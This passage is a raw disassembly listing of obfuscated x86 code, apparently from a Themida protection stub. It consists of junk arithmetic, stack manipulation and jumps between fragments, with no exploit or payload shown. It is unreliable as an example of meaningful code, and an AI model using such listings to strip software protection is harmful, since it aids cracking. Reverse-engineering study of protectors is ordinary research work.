loc_55D209 ; --------------------------------------------------------------------------- loc_550DC3: ; CODE XREF: Themida_:0055614Aj mov esp, [esp] mov edi, esi pop esi dec edi push 0 sub [esp], edi jmp loc_564198 ; --------------------------------------------------------------------------- loc_550DD7: ; CODE XREF: Themida_:0055161Ej push dword ptr [esp] jmp loc_55B91E ; --------------------------------------------------------------------------- loc_550DDF: ; CODE XREF: Themida_:0056446Cj or ebx, 391814B1h jmp loc_550EBF ; --------------------------------------------------------------------------- loc_550DEA: ; CODE XREF: Themida_:0055CA34j pop cx sub dh, ch sub dh, 0EDh jmp loc_554C8B ; --------------------------------------------------------------------------- loc_550DF6: ; CODE XREF: Themida_:00552C01j xor bl, dh jmp loc_554498 ; --------------------------------------------------------------------------- loc_550DFD: ; CODE XREF: Themida_:00555101j pop ecx push edx jmp loc_55DE25 ; --------------------------------------------------------------------------- loc_550E04: ; CODE XREF: Themida_:00565CA4j add esi, 644271F5h add esi, 49DA35BBh push edi mov edi, 12592853h inc edi dec edi xor edi, 62940254h and edi, 170517DBh jmp loc_55B584 ; --------------------------------------------------------------------------- loc_550E29: ; CODE XREF: Themida_:0055BF8Bj jmp loc_550420 ; --------------------------------------------------------------------------- loc_550E2E: ; CODE XREF: Themida_:0055CD1Cj pop edx sub al, 3Ch sub al, cl add al, 3Ch push ecx mov cl, 12h sub cl, 96h push eax mov ah, 0F9h jmp loc_55E13F ; --------------------------------------------------------------------------- lodsd push esi mov esi, 45340E2Ch shr esi, 3 jmp loc_5617AE ; --------------------------------------------------------------------------- loc_550E52: ; CODE XREF: Themida_:0055E416j mov edi, [esp] jmp loc_55DBB2 ; --------------------------------------------------------------------------- loc_550E5A: ; CODE XREF: Themida_:0056414Aj pop edi or ebx, ebp mov ebp, [esp] add esp, 4 push ecx mov ecx, 195116EEh push ebp mov ebp, 1C6875FCh jmp loc_564AE8 ; --------------------------------------------------------------------------- loc_550E77: ; CODE XREF: Themida_:0055C7ACj mov ebx, esp add ebx, 4 add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp push eax push esp jmp loc_562824 ; --------------------------------------------------------------------------- loc_550E96: ; CODE XREF: Themida_:00560160j xor eax, [esp] mov esp, [esp] btc [esp], ax pushf jmp loc_552DB7 ; --------------------------------------------------------------------------- loc_550EA7: ; CODE XREF: Themida_:0055C379j add esp, 4 jmp loc_55DC25 ; --------------------------------------------------------------------------- loc_550EAF: ; CODE XREF: Themida_:005522F2j pop esp ror dword ptr [esp], cl pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_550EB9: ; CODE XREF: Themida_:00559B61j push edx jmp loc_5659A0 ; --------------------------------------------------------------------------- loc_550EBF: ; CODE XREF: Themida_:00550DE5j xor ebx, 173655F9h sub ebx, 200EB233h mov eax, ebx mov ebx, [esp] jmp loc_559EC0 ; --------------------------------------------------------------------------- loc_550ED5: ; CODE XREF: Themida_:0056232Ej push 7F3h mov [esp], ebp mov ebp, 4 add esi, ebp pop ebp xor esi, [esp] jmp loc_561E94 ; --------------------------------------------------------------------------- loc_550EED: ; CODE XREF: Themida_:0055456Cj push dword ptr [esp] pop ecx push 51DFh mov [esp], edi push ecx push esp mov ecx, [esp] add esp, 4 add ecx, 4 sub ecx, 4 xor ecx, [esp] jmp loc_5626E1 ; --------------------------------------------------------------------------- loc_550F15: ; CODE XREF: Themida_:00563E11j pop ebx sub eax, 64C22ABAh add eax, edx add eax, 64C22ABAh pop edx xchg eax, [esp] pop esp idiv cx push small 3D44h mov [esp], dx jmp loc_56532E ; --------------------------------------------------------------------------- push dword ptr [edi+3Ch] jmp loc_559934 ; --------------------------------------------------------------------------- loc_550F3F: ; CODE XREF: Themida_:0055FE48j mov dl, 6Dh push edx mov dl, 3Bh not dl sub dl, 1 push eax push edx jmp loc_5546B1 ; --------------------------------------------------------------------------- loc_550F50: ; CODE XREF: Themida_:00562EE6j add esi, ebp pop ebp sub eax, esi pop esi inc eax push eax neg dword ptr [esp] pop eax add eax, 0E905B6C7h mov esi, eax pop eax inc esi push edx mov edx, 44D1778Eh inc edx shr edx, 7 sub esp, 4 mov [esp], ebp push 39E3h mov [esp], edi mov edi, 1C5D5D21h jmp loc_554D84 ; --------------------------------------------------------------------------- loc_550F8A: ; CODE XREF: Themida_:00561F37j pop esi jmp loc_556EB5 ; --------------------------------------------------------------------------- loc_550F90: ; CODE XREF: Themida_:005625AEj push edx jmp loc_55170A ; --------------------------------------------------------------------------- loc_550F96: ; CODE XREF: Themida_:00551D87j xor ecx, 0E05B94B6h mov edi, ecx jmp loc_5577AF ; --------------------------------------------------------------------------- loc_550FA3: ; CODE XREF: Themida_:005505ECj push ecx mov ecx, esp push eax mov eax, 4 add ecx, eax pop eax add ecx, 4 xchg ecx, [esp] pop esp mov ebx, [esp] push eax push 0CF2h mov [esp], esp jmp loc_562AB8 ; --------------------------------------------------------------------------- loc_550FC7: ; CODE XREF: Themida_:00553F5Bj add ebp, 68734AC3h mov edi, [esp] add esp, 4 xchg ebp, [esp] pop esp jmp loc_554514 ; --------------------------------------------------------------------------- loc_550FDF: ; CODE XREF: Themida_:00565127j add bl, al push eax jmp loc_56545D ; --------------------------------------------------------------------------- loc_550FE7: ; CODE XREF: Themida_:00551BA6j add edi, 4 xchg edi, [esp] jmp loc_565ACF ; --------------------------------------------------------------------------- loc_550FF2: ; CODE XREF: Themida_:0055792Cj push 7BDh mov [esp], ebp mov ebp, 4 add ebx, 1DF07CE8h push esi mov esi, 41D212A2h sub esi, 5A5816EAh jmp loc_55B897 ; --------------------------------------------------------------------------- loc_551016: ; CODE XREF: Themida_:00551C19j pop edx push 1771h jmp loc_5647E8 ; --------------------------------------------------------------------------- loc_551021: ; CODE XREF: Themida_:00560593j mov ebx, 437E5359h jmp loc_55AA0F ; --------------------------------------------------------------------------- loc_55102B: ; CODE XREF: Themida_:0055A533j add ebx, 4 push edx mov edx, 4 add ebx, edx pop edx xchg ebx, [esp] jmp loc_565A87 ; --------------------------------------------------------------------------- loc_551042: ; CODE XREF: Themida_:00556448j add eax, 1 jmp loc_5591B4 ; --------------------------------------------------------------------------- loc_55104C: ; CODE XREF: Themida_:005529D9j mov [esp], ebx mov bl, 76h push edx mov dh, 5Ch add dh, 96h jmp loc_5507E0 ; --------------------------------------------------------------------------- loc_55105C: ; CODE XREF: Themida_:0055437Fj mov eax, 7FCD743Ah push ecx mov ecx, 262F3F84h add edi, ecx mov ecx, [esp] add esp, 4 sub edi, eax push ecx jmp loc_558208 ; --------------------------------------------------------------------------- loc_55107A: ; CODE XREF: Themida_:0055821Fj shr ah, 3 add ah, 7Bh add bl, ah pop eax jmp loc_55537A ; --------------------------------------------------------------------------- loc_551088: ; CODE XREF: Themida_:005564A5j mov edx, esp add edx, 4 jmp loc_55FE86 ; --------------------------------------------------------------------------- loc_551095: ; CODE XREF: Themida_:005552B2j sub edi, ebx mov ebx, [esp] add esp, 4 push ecx mov ecx, 79521123h add esi, ecx pop ecx jmp loc_55770F ; --------------------------------------------------------------------------- loc_5510AE: ; CODE XREF: Themida_:0055B0D7j push 1867h mov [esp], edx push eax push ecx mov ecx, 7FD725C1h mov eax, 91FC90D2h add eax, 13D7254Eh sub eax, ecx sub eax, 13D7254Eh pop ecx mov edx, 0EDDA9513h add edx, eax pop eax push edi mov edi, 55EE7C35h add edx, edi jmp loc_5511A8 ; --------------------------------------------------------------------------- loc_5510E4: ; CODE XREF: Themida_:00564BFCj sub ecx, 4 jmp loc_5631B9 ; --------------------------------------------------------------------------- loc_5510EF: ; CODE XREF: Themida_:00561A77j add eax, 4 add eax, 4 jmp loc_563B83 ; --------------------------------------------------------------------------- loc_5510FC: ; CODE XREF: Themida_:00554962j pop dword ptr [esp] pop esp jmp loc_56277B ; --------------------------------------------------------------------------- loc_551105: ; CODE XREF: Themida_:005647ADj pop esp mov esi, [esp] jmp loc_554E1F ; --------------------------------------------------------------------------- loc_55110E: ; CODE XREF: Themida_:00561710j mov esi, 4 add edx, esi pop esi xchg edx, [esp] pop esp push esi jmp loc_55AF17 ; --------------------------------------------------------------------------- loc_551120: ; CODE XREF: Themida_:00565B16j add esp, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_55C039 ; --------------------------------------------------------------------------- loc_551131: ; CODE XREF: Themida_:00558F50j mov [esp], ebx jmp loc_559C1E ; --------------------------------------------------------------------------- loc_551139: ; CODE XREF: Themida_:0055B8B3j pop esi pop dword ptr [esp] pop esp and eax, esi mov esi, [esp] jmp loc_55B0B3 ; --------------------------------------------------------------------------- loc_551148: ; CODE XREF: Themida_:0055DA66j pop eax sub ebx, 77986D47h push ebp mov ebp, 0CA049EA6h jmp loc_5632C7 ; --------------------------------------------------------------------------- loc_55115A: ; CODE XREF: Themida_:0055065Ej and bh, 87h push ecx mov ch, 1 not ch jmp loc_565535 ; --------------------------------------------------------------------------- loc_551167: ; CODE XREF: Themida_:0055A1D5j sub esi, 0BEA510FDh mov ebx, esi mov esi, [esp] add esp, 4 not ebx shl ebx, 2 neg ebx push edi push ecx jmp loc_56512C ; --------------------------------------------------------------------------- loc_551183: ; CODE XREF: Themida_:00558EEDj sub esp, 4 mov [esp], esp push eax mov eax, 4 add [esp+4], eax pop eax push dword ptr [esp] pop edx push 1C17h mov [esp], eax mov eax, esp push edi jmp loc_554E5B ; --------------------------------------------------------------------------- loc_5511A8: ; CODE XREF: Themida_:005510DFj pop edi add edx, edi sub edx, 55EE7C35h push 3D8Dh jmp loc_55BDF4 ; --------------------------------------------------------------------------- loc_5511BB: ; CODE XREF: Themida_:00553073j sub edx, 0B99E861Ch add ecx, edx pop edx sub ebx, ecx jmp loc_55FC31 ; --------------------------------------------------------------------------- loc_5511CB: ; CODE XREF: Themida_:0055957Fj sub ebp, ecx pop ecx sub ebp, 0C3250B29h jmp loc_55E39B ; --------------------------------------------------------------------------- loc_5511D9: ; CODE XREF: Themida_:0055B339j sub edx, 7D7911ECh jmp loc_550420 ; --------------------------------------------------------------------------- loc_5511E4: ; CODE XREF: Themida_:00559496j mov [esp], eax mov eax, 0AD0390Ch mov edi, 0AD03908h xor edi, eax jmp loc_559389 ; --------------------------------------------------------------------------- loc_5511F8: ; CODE XREF: Themida_:00564AE3j add eax, 4D1D0E44h add eax, 2D206089h push dword ptr [esp] jmp loc_564D88 ; --------------------------------------------------------------------------- loc_55120A: ; CODE XREF: Themida_:00563148j and edx, 5C5B307Eh push ecx mov ecx, esp jmp loc_5659A9 ; --------------------------------------------------------------------------- loc_551218: ; CODE XREF: Themida_:0055BBC2j pop edi jmp loc_560BE1 ; --------------------------------------------------------------------------- loc_55121E: ; CODE XREF: Themida_:005578CEj sub esi, 75A25212h add esi, edx jmp loc_5576E9 ; --------------------------------------------------------------------------- loc_55122B: ; CODE XREF: Themida_:005532E1j mov esi, 0B612B8Eh sub edi, esi pop esi add edi, esi jmp loc_55A9B6 ; --------------------------------------------------------------------------- loc_55123A: ; CODE XREF: Themida_:0055897Bj push ecx push dword ptr [esp] pop edi add esp, 4 mov ecx, [esp] add esp, 4 not ecx xchg ecx, edi and edi, 2B0B09A2h xchg eax, edi not eax xchg eax, edi push 37F7h mov [esp], ebx mov ebx, 63AB0B2Dh push edx mov edx, 0F1A7D78h and ebx, edx jmp loc_562F57 ; --------------------------------------------------------------------------- loc_551273: ; CODE XREF: Themida_:00561A19j mov [esp], esi jmp loc_55AF32 ; --------------------------------------------------------------------------- loc_55127B: ; CODE XREF: Themida_:00556601j sub dword ptr [esp], 16ED6151h pop edi push ecx mov ecx, 16ED6151h add edi, ecx pop ecx pop ebx xor edi, 54F1ECF6h jmp loc_563E79 ; --------------------------------------------------------------------------- loc_551298: ; CODE XREF: Themida_:00564B85j add esp, 4 add eax, ebx jmp loc_562935 ; --------------------------------------------------------------------------- loc_5512A2: ; CODE XREF: Themida_:005642E7j sub esi, 4 xchg esi, [esp] mov esp, [esp] mov [esp], esi mov esi, 5CB21543h jmp loc_55BE5F ; --------------------------------------------------------------------------- loc_5512B8: ; CODE XREF: Themida_:00564F74j sub ebp, eax pop eax push ebp jmp loc_565081 ; --------------------------------------------------------------------------- loc_5512C1: ; CODE XREF: Themida_:005520C0j pop esi jmp loc_5542F3 ; --------------------------------------------------------------------------- loc_5512C7: ; CODE XREF: Themida_:0055087Fj mov edx, 21991B8Bh xor edx, 0DC2118Eh sub edx, 2C5B0A01h jmp loc_5640D9 ; --------------------------------------------------------------------------- loc_5512DD: ; CODE XREF: Themida_:00563D26j mov eax, 2CAE51BBh push 0 sub [esp], eax jmp loc_5549A7 ; --------------------------------------------------------------------------- loc_5512EF: ; CODE XREF: Themida_:0055E13Aj add eax, 150877A9h add eax, 0AE544Dh jmp loc_552134 ; --------------------------------------------------------------------------- loc_5512FE: ; CODE XREF: Themida_:005537E9j add esp, 4 xchg ebx, [esp] jmp loc_558F88 ; --------------------------------------------------------------------------- loc_551309: ; CODE XREF: Themida_:00565782j mov esi, [esp] jmp loc_55CAC0 ; --------------------------------------------------------------------------- loc_551311: ; CODE XREF: Themida_:00551879j sub ax, bx jmp loc_5650F9 ; --------------------------------------------------------------------------- lodsb sub al, 0F1h jmp loc_556B27 ; --------------------------------------------------------------------------- loc_551321: ; CODE XREF: Themida_:00556333j sub esp, 4 jmp loc_553EDE ; --------------------------------------------------------------------------- loc_551329: ; CODE XREF: Themida_:00553880j sub esp, 4 mov [esp], edx jmp loc_55DE4F ; --------------------------------------------------------------------------- loc_551334: ; CODE XREF: Themida_:00562B74j mov ecx, 850014h jmp loc_552BA8 ; --------------------------------------------------------------------------- loc_55133E: ; CODE XREF: Themida_:00564BC8j mov eax, [ebx] push dword ptr [esp] jmp loc_55A985 ; --------------------------------------------------------------------------- loc_551348: ; CODE XREF: Themida_:0055493Aj jmp loc_550420 ; --------------------------------------------------------------------------- loc_55134D: ; CODE XREF: Themida_:00558165j mov ebp, [esp] jmp loc_55243D ; --------------------------------------------------------------------------- loc_551355: ; CODE XREF: Themida_:00550C48j xor ebp, 14F27603h jmp loc_55AFB6 ; --------------------------------------------------------------------------- loc_551360: ; CODE XREF: Themida_:00553FDDj inc ebx sub ebx, 65686581h xor ebx, 0A0C70226h add edx, ebx pop ebx push 7F20h mov [esp], ecx mov ecx, 4 add edx, ecx pop ecx push 6C43h mov [esp], edx push dword ptr [esp+4] pop edx jmp loc_55D141 ; --------------------------------------------------------------------------- loc_551392: ; CODE XREF: Themida_:0055F720j mov edx, 25592533h add eax, edx pop edx pop ebp push 2A9Ah mov [esp], ecx push ebp mov ebp, 76701FD1h dec ebp jmp loc_565A2D ; --------------------------------------------------------------------------- loc_5513AF: ; CODE XREF: Themida_:005586F8j push ebp push dword ptr [esp] jmp loc_55AEBB ; --------------------------------------------------------------------------- loc_5513B8: ; CODE XREF: Themida_:0055BA96j add word ptr [esp+2], 14A1h push ax jmp loc_564BAD ; --------------------------------------------------------------------------- loc_5513C6: ; CODE XREF: Themida_:00564422j inc al or al, 53h jmp loc_56309A ; --------------------------------------------------------------------------- mov esp, [esp] jmp loc_550420 ; --------------------------------------------------------------------------- loc_5513D7: ; CODE XREF: Themida_:005559BEj push ecx push edi mov edi, 6C82563Fh mov ecx, edi push dword ptr [esp] jmp loc_5518F6 ; --------------------------------------------------------------------------- loc_5513E8: ; CODE XREF: Themida_:0055B668j xchg edi, [esp] pop esp jmp loc_561736 ; --------------------------------------------------------------------------- loc_5513F1: ; CODE XREF: Themida_:00558118j mov [esp], eax mov eax, esp push edi jmp loc_553D4A ; --------------------------------------------------------------------------- loc_5513FC: ; CODE XREF: Themida_:0055CA4Cj add edx, 4833190Dh xor edx, 70517253h add edx, 320D6E49h add edx, 0B71AF9B4h sub ecx, edx pop edx add ecx, eax push edx mov edx, 81A5B1Dh add ecx, edx pop edx pop eax sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], eax mov eax, 4 push ecx mov ecx, 343C6FD3h jmp loc_552291 ; --------------------------------------------------------------------------- mov cx, [esp] push 6C5Bh mov [esp], edx sub esp, 4 jmp loc_551623 ; --------------------------------------------------------------------------- loc_551454: ; CODE XREF: Themida_:0056442Ej pop esi add eax, 1397464Ah jmp loc_563B74 ; --------------------------------------------------------------------------- loc_55145F: ; CODE XREF: Themida_:005557C5j pop edx push esi sub esp, 4 mov [esp], edx mov edx, 0F620990h sub esp, 4 mov [esp], edx not dword ptr [esp] pop edx neg edx sub esp, 4 jmp loc_556C00 ; --------------------------------------------------------------------------- loc_551483: ; CODE XREF: Themida_:0055220Fj push esp pop dword ptr [esp] push 7EA2h jmp loc_5504E6 ; --------------------------------------------------------------------------- loc_551491: ; CODE XREF: Themida_:0055EB7Bj mov ecx, 67E82E50h add ecx, 0BF98504Dh add ebx, ecx mov ecx, [esp] add esp, 4 jmp loc_55A023 ; --------------------------------------------------------------------------- loc_5514A9: ; CODE XREF: Themida_:00553E52j pop edi sub ebp, ebx mov ebx, [esp] add esp, 4 jmp loc_5537EE ; --------------------------------------------------------------------------- loc_5514BA: ; CODE XREF: Themida_:0055DC48j jmp loc_550420 ; --------------------------------------------------------------------------- loc_5514BF: ; CODE XREF: Themida_:00552D50j add ebx, 49935F38h pop esi add ebx, 4 push ebx push dword ptr [esp+4] mov ebx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] shr eax, 10h xor eax, ecx xor eax, ecx jmp loc_55EDD6 ; --------------------------------------------------------------------------- loc_5514E6: ; CODE XREF: Themida_:0055DE4Aj pop eax jmp loc_56189F ; --------------------------------------------------------------------------- loc_5514EC: ; CODE XREF: Themida_:00552ADEj add esp, 4 sub ch, ah push dword ptr [esp] pop eax push eax jmp loc_55683F ; --------------------------------------------------------------------------- loc_5514FE: ; CODE XREF: Themida_:00554524j not dl not dl or dl, 55h add dl, 10h jmp loc_55A9C3 ; --------------------------------------------------------------------------- loc_55150D: ; CODE XREF: Themida_:0055E327j add eax, 3DBE2BBFh xor eax, 657B55C4h jmp loc_55F40A ; --------------------------------------------------------------------------- loc_55151C: ; CODE XREF: Themida_:00561B97j mov ebx, [esp] push edi mov edi, esp jmp loc_55B9EB ; --------------------------------------------------------------------------- loc_551527: ; CODE XREF: Themida_:0055F214j add esi, ecx pop ecx xor esi, 0EE6F2305h sub ebp, esi pop esi mov esi, ebp pop ebp add edi, esi pop esi xor edi, [esp] xor [esp], edi jmp loc_563B5A ; --------------------------------------------------------------------------- loc_551544: ; CODE XREF: Themida_:00552601j xor edx, [esp] pop esp push edi jmp loc_553E88 ; --------------------------------------------------------------------------- loc_55154E: ; CODE XREF: Themida_:0055B6EAj mov edi, 14AB181Ah xor edi, 44CB4B5Eh mov eax, edi pop edi xor eax, ebx xor ebx, eax xor eax, ebx push ebx not dword ptr [esp] pop ebx xchg eax, ebx push edi push edx push eax jmp loc_557824 ; --------------------------------------------------------------------------- loc_551570: ; CODE XREF: Themida_:00559138j push 17B7h mov [esp], eax mov eax, 13E95273h jmp loc_555CD5 ; --------------------------------------------------------------------------- loc_551582: ; CODE XREF: Themida_:00556573j mov eax, [esp] jmp loc_553083 ; --------------------------------------------------------------------------- loc_55158A: ; CODE XREF: Themida_:00559E4Fj xchg edi, [esp] pop esp mov [esp], eax push ecx mov ecx, 1EC033B2h push 33CAh mov [esp], edx mov edx, 439C5E06h sub edx, 0E670792h xor ecx, edx pop edx neg ecx jmp loc_55E379 ; --------------------------------------------------------------------------- loc_5515B4: ; CODE XREF: Themida_:00553D4Fj add eax, edi pop edi sub esp, 4 mov [esp], edi mov edi, 4 sub eax, edi push dword ptr [esp] mov edi, [esp] jmp loc_558552 ; --------------------------------------------------------------------------- loc_5515D2: ; CODE XREF: Themida_:00558406j mov ebx, 65486DA1h sub esp, 4 mov [esp], eax mov eax, 26071817h sub eax, 1630810h xor eax, 6F274A17h push edi mov edi, 19BE4B90h and edi, 74FC4B14h or edi, 0FA66F7Eh sub edi, 1 not edi add edi, 6F40EC05h jmp loc_562BC4 ; --------------------------------------------------------------------------- loc_55160E: ; CODE XREF: Themida_:00561B4Aj pop ebp add ebx, eax add [ebx], ecx pop ebx push dword ptr [esp] pop eax add esp, 4 jmp loc_550DD7 ; --------------------------------------------------------------------------- loc_551623: ; CODE XREF: Themida_:0055144Fj mov [esp], esp add dword ptr [esp], 4 pop edx push 59B6h mov [esp], ebx jmp loc_55498E ; --------------------------------------------------------------------------- loc_551638: ; CODE XREF: Themida_:0055F3E3j add ch, 58h sub al, ch pop cx add al, bl push edx push 12A3h jmp loc_563B69 ; --------------------------------------------------------------------------- loc_55164C: ; CODE XREF: Themida_:0055A6B3j pop edx add ebx, 2E776209h push eax mov eax, 7EB73787h jmp loc_5625EB ; --------------------------------------------------------------------------- loc_55165E: ; CODE XREF: Themida_:00551A81j sub dh, 53h add bl, dh jmp loc_56390C ; --------------------------------------------------------------------------- loc_551668: ; CODE XREF: Themida_:00553B3Ej xor [esp], edx xor edx, [esp] mov esp, [esp] mov [esp], dx push ax pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_55167D: ; CODE XREF: Themida_:00562743j not ebx add ebx, 180942BAh jmp loc_561279 ; --------------------------------------------------------------------------- loc_55168A: ; CODE XREF: Themida_:00552CDEj mov [edi+eax*4+1], dh jmp loc_556CE1 ; --------------------------------------------------------------------------- loc_551693: ; CODE XREF: Themida_:00558A89j mov ebp, 0E90B041Bh sub ecx, ebp jmp loc_558C1A ; --------------------------------------------------------------------------- loc_55169F: ; CODE XREF: Themida_:00555BF9j xchg edi, [esp] pop esp push esp pop dword ptr [esp] push 7158h mov [esp], edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], edi sub esp, 4 mov [esp], ecx mov ecx, 27A16653h mov edi, 27A16657h sub edi, ecx pop ecx add [esp+4], edi push dword ptr [esp] pop edi add esp, 4 pop ebp add ebp, 4 push edi mov edi, 2 push edi mov edi, 3E0E3FB1h inc edi or edi, 602407D2h sub edi, 9C8CA0Eh add ebp, edi pop edi jmp loc_5526B1 ; --------------------------------------------------------------------------- loc_55170A: ; CODE XREF: Themida_:00550F91j mov edx, 6AD2302h jmp loc_562C2A ; --------------------------------------------------------------------------- loc_551714: ; CODE XREF: Themida_:00563309j pop ecx sub esp, 2 mov [esp], dx push ecx mov cl, 9Ch sub esp, 4 mov [esp], eax jmp loc_55E5D4 ; --------------------------------------------------------------------------- loc_55172A: ; CODE XREF: Themida_:00562E97j add eax, 4 jmp loc_563625 ; --------------------------------------------------------------------------- loc_551732: ; CODE XREF: Themida_:0055931Dj mov ah, 80h mov cl, 0FFh push ax push edx push ebx jmp loc_55C48D ; --------------------------------------------------------------------------- loc_55173F: ; CODE XREF: Themida_:0055879Ej mov [esp], ebx mov ebx, esp add ebx, 4 push 2DEEh mov [esp], edx push esi jmp loc_55EE84 ; --------------------------------------------------------------------------- loc_551758: ; CODE XREF: Themida_:00555133j sub edx, 7050C95h sub esp, 4 jmp loc_557C73 ; --------------------------------------------------------------------------- loc_551766: ; CODE XREF: Themida_:00552073j sub ebx, 28FF46ACh jmp loc_5528BF ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], edx mov edx, esp add edx, 4 push edx mov edx, esp push eax mov eax, 4 add edx, eax pop eax sub edx, 4 xor edx, [esp] xor [esp], edx jmp loc_55CFF3 ; --------------------------------------------------------------------------- loc_5517A0: ; CODE XREF: Themida_:00552C71j and esi, 21E864CCh or esi, 0BBA2A86h sub esi, 218E583Bh shl esi, 6 sub esi, 2FB628AEh sub eax, esi pop esi jmp loc_55A04F ; --------------------------------------------------------------------------- loc_5517C3: ; CODE XREF: Themida_:00551F8Ej push ecx mov ecx, esp add ecx, 4 jmp loc_564DF3 ; --------------------------------------------------------------------------- loc_5517D1: ; CODE XREF: Themida_:0055AB73j push ebx mov ebx, 2D206089h jmp loc_5532AD ; --------------------------------------------------------------------------- loc_5517DC: ; CODE XREF: Themida_:005558E0j push 6430h mov [esp], ebx jmp loc_55363D ; --------------------------------------------------------------------------- loc_5517E9: ; CODE XREF: Themida_:0056546Bj neg al inc al xor al, 71h xor al, 2Ch xor cl, al pop ax add cl, 9Bh push ebx mov bh, cl mov al, bh jmp loc_562BBB ; --------------------------------------------------------------------------- loc_551802: ; CODE XREF: Themida_:00554583j pop esp push eax jmp loc_560A48 ; --------------------------------------------------------------------------- loc_551809: ; CODE XREF: Themida_:005619D2j pop ecx add edi, 4 xchg edi, [esp] mov esp, [esp] add esp, 4 jmp loc_554E01 ; --------------------------------------------------------------------------- loc_55181E: ; CODE XREF: Themida_:005560B8j push edx mov dl, 18h mov bl, dl mov edx, [esp] add esp, 4 jmp loc_555F1A ; --------------------------------------------------------------------------- loc_551831: ; CODE XREF: Themida_:00554F8Aj not ebp jmp loc_55F1C9 ; --------------------------------------------------------------------------- loc_551838: ; CODE XREF: Themida_:00563797j xor eax, 257B3A5Eh jmp loc_55BC31 ; --------------------------------------------------------------------------- loc_551842: ; CODE XREF: Themida_:005637B2j xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] push dword ptr [esp] pop ecx jmp loc_55BC39 ; --------------------------------------------------------------------------- loc_551857: ; CODE XREF: Themida_:0055B72Aj inc esi shl esi, 1 or esi, 577A3D59h neg esi add esi, 0FD27F673h sub eax, esi jmp loc_55BA9B ; --------------------------------------------------------------------------- lodsw add ax, 3F6Dh sub ax, 58B1h jmp loc_551311 ; --------------------------------------------------------------------------- loc_55187E: ; CODE XREF: Themida_:00559808j push dword ptr [edi+eax*4] push eax jmp loc_55C23A ; --------------------------------------------------------------------------- loc_551887: ; CODE XREF: Themida_:0055E5B2j push edx push eax mov ah, 0D2h mov dh, ah jmp loc_55A52D ; --------------------------------------------------------------------------- loc_551892: ; CODE XREF: Themida_:00557FD3j mov edx, 12DE6888h add edx, 73FC4073h sub edx, 2B573A75h jmp loc_55B006 ; --------------------------------------------------------------------------- loc_5518A8: ; CODE XREF: Themida_:0055CD04j add eax, ebx pop ebx push eax push dword ptr [esp+4] mov eax, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] idiv cl movzx cx, ah push edx jmp loc_561788 ; --------------------------------------------------------------------------- loc_5518C8: ; CODE XREF: Themida_:0055AA46j xor ah, 4Fh xor ah, 0AEh push edx push ecx mov ch, ah mov dh, ch mov ecx, [esp] add esp, 4 mov bh, dh mov edx, [esp] jmp loc_5605E7 ; --------------------------------------------------------------------------- loc_5518E4: ; CODE XREF: Themida_:00557356j push 3E84h mov [esp], ebx mov ebx, 0 jmp loc_55FC82 ; --------------------------------------------------------------------------- loc_5518F6: ; CODE XREF: Themida_:005513E3j pop edi jmp loc_56371E ; --------------------------------------------------------------------------- loc_5518FC: ; CODE XREF: Themida_:0055908Cj add eax, 4 xchg eax, [esp] pop esp sub ebx, 2C28000Ah sub ebx, 7E882450h push 43CFh jmp loc_5608C6 ; --------------------------------------------------------------------------- loc_551919: ; CODE XREF: Themida_:00555F85j pop ecx inc edx push ebx mov ebx, 5EEC4002h not ebx not ebx jmp loc_55A790 ; --------------------------------------------------------------------------- loc_55192A: ; CODE XREF: Themida_:0055C5E9j push ecx mov ch, bh mov dl, ch pop ecx mov ebx, [esp] jmp loc_5538FF ; --------------------------------------------------------------------------- loc_551938: ; CODE XREF: Themida_:00553C8Fj pop dword ptr [esp] jmp loc_5637A6 ; --------------------------------------------------------------------------- loc_551940: ; CODE XREF: Themida_:005639AEj add ebp, 264D1577h pop edx sub ebp, 0C93D688Ah push 4062h mov [esp], ebp jmp loc_564369 ; --------------------------------------------------------------------------- loc_55195A: ; CODE XREF: Themida_:00551B73j push ecx mov ecx, esp add ecx, 4 push ebx mov ebx, 4 jmp loc_5542DB ; --------------------------------------------------------------------------- loc_55196E: ; CODE XREF: Themida_:00551A03j add ebx, 40212164h jmp loc_55AF69 ; --------------------------------------------------------------------------- loc_551979: ; CODE XREF: Themida_:0055A709j xchg esi, [esp] jmp loc_55AB41 ; --------------------------------------------------------------------------- loc_551981: ; CODE XREF: Themida_:0055FE19j push ebp mov ebp, 29276B6Ch sub ebp, 18EC0C1Bh sub ebp, 73C32D27h inc ebp sub ebp, 99A3E17Eh add ebx, ebp mov ebp, [esp] add esp, 4 add ebx, eax sub ebx, 2D450ADh push edi push 6E74h jmp loc_55962F ; --------------------------------------------------------------------------- loc_5519B8: ; CODE XREF: Themida_:0055C4AAj xor dh, 0CDh jmp loc_55EF0F ; --------------------------------------------------------------------------- loc_5519C0: ; CODE XREF: Themida_:00561201j mov edx, [esp] add esp, 4 push 7E80h mov [esp], ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi mov edi, ecx mov ebx, edi jmp loc_55E2B6 ; --------------------------------------------------------------------------- loc_5519E9: ; CODE XREF: Themida_:0055939Bj jmp loc_550420 ; --------------------------------------------------------------------------- loc_5519EE: ; CODE XREF: Themida_:0055D5F7j mov ecx, esp push eax jmp loc_55EAD3 ; --------------------------------------------------------------------------- loc_5519F6: ; CODE XREF: Themida_:005563DFj mov esp, [esp] mov fs:[edx], al jmp loc_550420 ; --------------------------------------------------------------------------- loc_551A01: ; CODE XREF: Themida_:00550AB4j sub ebx, ebp jmp loc_55196E ; --------------------------------------------------------------------------- loc_551A08: ; CODE XREF: Themida_:005594C3j push dword ptr [esp+4] jmp loc_56417C ; --------------------------------------------------------------------------- loc_551A11: ; CODE XREF: Themida_:005602D7j sub ebp, 43673EAEh xor ebp, 9BE6ED30h sub esi, 41E62B83h add esi, ebp add esi, 41E62B83h mov ebp, [esp] add esp, 4 sub esi, 1810F874h mov edi, 1E47EE45h push ebp mov ebp, 5BB202EEh add edi, ebp pop ebp jmp loc_5545B3 ; --------------------------------------------------------------------------- loc_551A4A: ; CODE XREF: Themida_:00553191j mov [esp], ecx mov ecx, esp add 